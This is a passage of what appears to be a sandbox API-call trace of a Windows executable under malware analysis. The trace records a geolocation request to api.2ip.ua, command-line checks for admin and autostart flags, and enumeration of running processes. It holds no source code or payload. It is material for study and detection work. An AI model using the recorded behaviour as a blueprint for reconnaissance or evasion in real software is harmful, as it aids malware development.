¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0044.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xfe\xb0\x86\xe9\xb4\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0044.119] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0044.119] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x800) returned 0xdff950 [0044.119] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4091c1 [0044.119] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.119] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.119] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.120] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.120] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0xe00158 [0044.120] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.120] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x10) returned 0xdfd368 [0044.120] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.120] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.120] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.121] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0xe01f40) returned 0x80 [0044.121] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0044.185] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0xd66ca8 [0044.185] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0048.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c078, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e878 | out: lpBuffer=0x18c078*, lpdwNumberOfBytesRead=0x18e878*=0x1d1) returned 1 [0048.403] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0048.405] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0048.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0xe0a900 [0048.405] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1e0) returned 0xe33c30 [0048.405] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe33c30 | out: hHeap=0xd50000) returned 1 [0048.405] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe0a900 | out: hHeap=0xd50000) returned 1 [0048.405] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xd66ca8 | out: hHeap=0xd50000) returned 1 [0048.405] GetCurrentProcess () returned 0xffffffff [0048.405] GetLastError () returned 0x2 [0048.405] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0048.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x10) returned 0xe2f7b0 [0048.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x110) returned 0x37e5828 [0048.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x800) returned 0x3820748 [0048.406] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3820748, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0048.406] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0048.406] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x3820f50 [0048.406] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask" [0048.406] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e958 | out: pNumArgs=0x18e958) returned 0xe377e0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0048.406] lstrcpyW (in: lpString1=0x18f608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0048.406] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0048.406] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0048.406] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask" [0048.406] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e8f4 | out: pNumArgs=0x18e8f4) returned 0xe377e0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0048.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0048.407] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0048.407] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0048.407] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0048.407] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0048.407] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0048.409] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0048.409] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0048.409] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0048.409] EnumProcesses (in: lpidProcess=0x1840f0, cb=0xa000, lpcbNeeded=0x18e900 | out: lpidProcess=0x1840f0, lpcbNeeded=0x18e900) returned 1 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0048.411] CloseHandle (hObject=0x0) returned 0 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0048.411] CloseHandle (hObject=0x0) returned 0 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0048.411] CloseHandle (hObject=0x0) returned 0 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0048.411] CloseHandle (hObject=0x0) returned 0 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0048.411] CloseHandle (hObject=0x0) returned 0 [0048.411] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.412] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0048.412] CloseHandle (hObject=0x0) returned 0 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0048.413] CloseHandle (hObject=0x0) returned 0 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x598 [0048.413] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0048.413] CloseHandle (hObject=0x598) returned 1 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x598 [0048.413] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0048.413] CloseHandle (hObject=0x598) returned 1 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0048.413] CloseHandle (hObject=0x0) returned 0 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x598 [0048.413] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0048.413] CloseHandle (hObject=0x598) returned 1 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0048.413] CloseHandle (hObject=0x0) returned 0 [0048.413] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x598 [0048.414] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0048.414] CloseHandle (hObject=0x598) returned 1 [0048.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f0) returned 0x0 [0048.414] CloseHandle (hObject=0x0) returned 0 [0048.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6f4) returned 0x598 [0048.414] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.415] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x1210000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="messages.exe") returned 0xc [0048.415] CloseHandle (hObject=0x598) returned 1 [0048.415] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x598 [0048.415] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.416] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xdc0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="assistant_lesson_love.exe") returned 0x19 [0048.416] CloseHandle (hObject=0x598) returned 1 [0048.416] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0x598 [0048.416] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.417] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xf30000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="recommends.exe") returned 0xe [0048.418] CloseHandle (hObject=0x598) returned 1 [0048.418] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x598 [0048.418] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.419] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x1340000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="fitting attachment.exe") returned 0x16 [0048.419] CloseHandle (hObject=0x598) returned 1 [0048.419] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x598 [0048.419] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.420] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x800000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="garmin.exe") returned 0xa [0048.420] CloseHandle (hObject=0x598) returned 1 [0048.420] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x598 [0048.420] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.421] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x310000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="vt-lives.exe") returned 0xc [0048.422] CloseHandle (hObject=0x598) returned 1 [0048.422] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x114) returned 0x598 [0048.422] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.423] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xcd0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="gentleman.exe") returned 0xd [0048.424] CloseHandle (hObject=0x598) returned 1 [0048.424] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x598 [0048.424] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.425] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x11f0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="lexmark_increases_problems.exe") returned 0x1e [0048.425] CloseHandle (hObject=0x598) returned 1 [0048.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x598 [0048.425] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.426] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x150000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="accessing.exe") returned 0xd [0048.426] CloseHandle (hObject=0x598) returned 1 [0048.426] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x598 [0048.426] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.427] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x380000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="bottles comics links.exe") returned 0x18 [0048.427] CloseHandle (hObject=0x598) returned 1 [0048.427] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x774) returned 0x598 [0048.427] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.428] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x1f0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="swissebooks.exe") returned 0xf [0048.429] CloseHandle (hObject=0x598) returned 1 [0048.429] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x598 [0048.429] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.430] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x260000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="dependent programs keith.exe") returned 0x1c [0048.430] CloseHandle (hObject=0x598) returned 1 [0048.430] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c4) returned 0x598 [0048.430] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.431] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x10d0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="pages_hack_associates.exe") returned 0x19 [0048.431] CloseHandle (hObject=0x598) returned 1 [0048.431] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d0) returned 0x598 [0048.431] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.432] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x190000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="keno.exe") returned 0x8 [0048.432] CloseHandle (hObject=0x598) returned 1 [0048.432] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x598 [0048.432] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.433] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xc30000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="graham_noted_lm.exe") returned 0x13 [0048.434] CloseHandle (hObject=0x598) returned 1 [0048.434] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0x598 [0048.434] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.435] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x1210000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="ci helicopter.exe") returned 0x11 [0048.435] CloseHandle (hObject=0x598) returned 1 [0048.435] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x598 [0048.435] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.436] GetModuleBaseNameW (in: hProcess=0x598, hModule=0xf60000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="texas.exe") returned 0x9 [0048.436] CloseHandle (hObject=0x598) returned 1 [0048.436] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0x598 [0048.436] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.437] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x2e0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="owners.exe") returned 0xa [0048.437] CloseHandle (hObject=0x598) returned 1 [0048.437] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3c0) returned 0x598 [0048.437] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0048.438] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x8e0000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="linear ratios.exe") returned 0x11 [0048.438] CloseHandle (hObject=0x598) returned 